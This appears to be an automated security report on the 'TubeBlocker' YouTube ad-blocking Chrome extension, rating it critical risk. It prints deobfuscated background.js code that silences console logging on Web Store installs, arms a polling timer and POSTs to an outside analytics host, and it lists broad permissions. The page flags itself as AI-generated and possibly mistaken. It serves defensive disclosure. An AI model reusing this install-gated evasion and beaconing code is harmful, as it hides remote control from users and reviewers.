Is TubeBlocker - AdBlock for YouTube™ safe?

Critical risk

TubeBlocker - AdBlock for YouTube™ is critical risk. TubeBlocker checks Chrome's install type at SW startup. On a normal Web Store install, it disables console logging and can repeat a POST to www.datadogmetrix.com/analytics. Evidence is static code proof; no traffic body was captured.…

Tube Blockerv11.1.7Chrome Web Store
90Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Store installs enable polling and disable logs

MediumunwantedCWE-506Dynamic sandbox

TubeBlocker checks Chrome's install type at SW startup.

What actually happens

You did this

The background service starts and asks Chrome how the extension was installed.

The extension did this

For normal Web Store installs, it turns off console output and enables the flag that arms recurring remote polling.

Unpacked developer installs do not enter that branch because their install type is not reported as normal.

Concrete values used by the install-state guardrail

  • Install state
    normal

    This distinguishes ordinary Web Store installs from unpacked developer installs.

  • Console output
    console.log = function() {}; console.error = function() {};

    This prevents normal extension log messages and errors from appearing after the branch runs.

  • Polling flag
    cu.s = true

    This is the switch that lets the recurring background timer run for normal installs.

  • Remote endpoint
    https://www.datadogmetrix.com/analytics

    This is the host the background dispatch routine prepares to contact after the flag-controlled path is active.

Captured request

POSThttps://www.datadogmetrix.com/analytics

No response was recorded in the verification evidence for this claim.

Headers
Content-Type
application/json

The code that does this

Startup branch that changes behavior for normal installs

Readable version

Formatted startup IIFE showing the install-type condition

background.js:8155-8175
sa(la().m((function t() {  var n, r, e;  return la().w((function(t) {    for (;;) switch (t.n) {      case 0:        return t.n = 1, chrome.management.getSelf();      case 1:        return "normal" == t.v.installType && (n = function() {}, console.log = n, console.error = n, cu.s = !0), r = chrome.runtime.getURL("youtube.js"), e = chrome.runtime.getURL("youtube.css"), t.n = 2, fetch(r).then((function(t) {          return t.text()        }));      case 2:        return Dr.x = t.v, t.n = 3, fetch(e).then((function(t) {          return t.text()        }));      case 3:        Dr.z = t.v, wu.i();      case 4:        return t.a(2)    }  }), t)})))(),

The code that does this

Polling dispatch path gated by the startup flag

Readable version

Formatted polling method showing the flag check and POST setup

background.js:6450-6513
var hu = function() {  return function(t, n, r) {    return n && mu(t.prototype, n), r && mu(t, r), Object.defineProperty(t, "prototype", {      writable: !1    }), t  }((function t() {    ! function(t, n) {      if (!(t instanceof n)) throw new TypeError("Cannot call a class as a function")    }(this, t)  }), null, [{    key: "i",    value: (t = vu(au().m((function t() {      var n, r, e, o, i, u, c, f, a;      return au().w((function(t) {        for (;;) switch (t.p = t.n) {          case 0:            return t.p = 0, t.n = 1, Ri.g();          case 1:            n = t.v, r = Ei.a;            try {              n.x && (e = bu(n.x, 3), o = e[0], i = e[1], u = e[2], !0 === cu.s && (c = r[6].call(qn.t, (function() {                var t = r[5]();                r[1](vu(au().m((function n() {                  return au().w((function(n) {                    for (;;) switch (n.n) {                      case 0:                        r[5]() - t > 1e3 && (r[o[0]](o[1]), r[7].call(qn.t, c));                      case 1:                        return n.a(2)                    }                  }), n)                }))))              }), 1e3)), u && (ve.q = u), r[i[0]] && r[i[1]] && (ve.g = i[2][3], r[i[0]](r[i[1]], i[2])))            } catch (t) {              console.error(t)            }            if (n.ext && n.ext.id) {              t.n = 2;              break            }            return t.a(2);          case 2:            return ee.i = n.ext.id, (f = new nu("".concat(Fn[0], "/analytics"))).setMethod("POST"), f.addHeaders({              "Content-Type": "application/json"            }), t.n = 3, f.setRequestBody({});          case 3:            return t.n = 4, f.run();          case 4:            return t.a(2, !0);          case 5:            t.p = 5, a = t.v, console.error(a);          case 6:            return t.a(2)        }      }), t, null, [        [0, 5]      ])    }))), function() {      return t.apply(this, arguments)    })  }]);  var t}();const wu = hu;

What it can do

Permissions this extension asks for, as declared in version 11.1.7. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • Store data in your browser

    storage

  • Run its own code inside the pages you visit

    scripting

  • Block and redirect the requests your browser makes

    declarativeNetRequest

  • Store an unlimited amount of data in your browser

    unlimitedStorage

  • Read and change your full browsing history

    history

Updated 21 September 2026gdejignmmojhnmdhbdjdmmoaidmcdema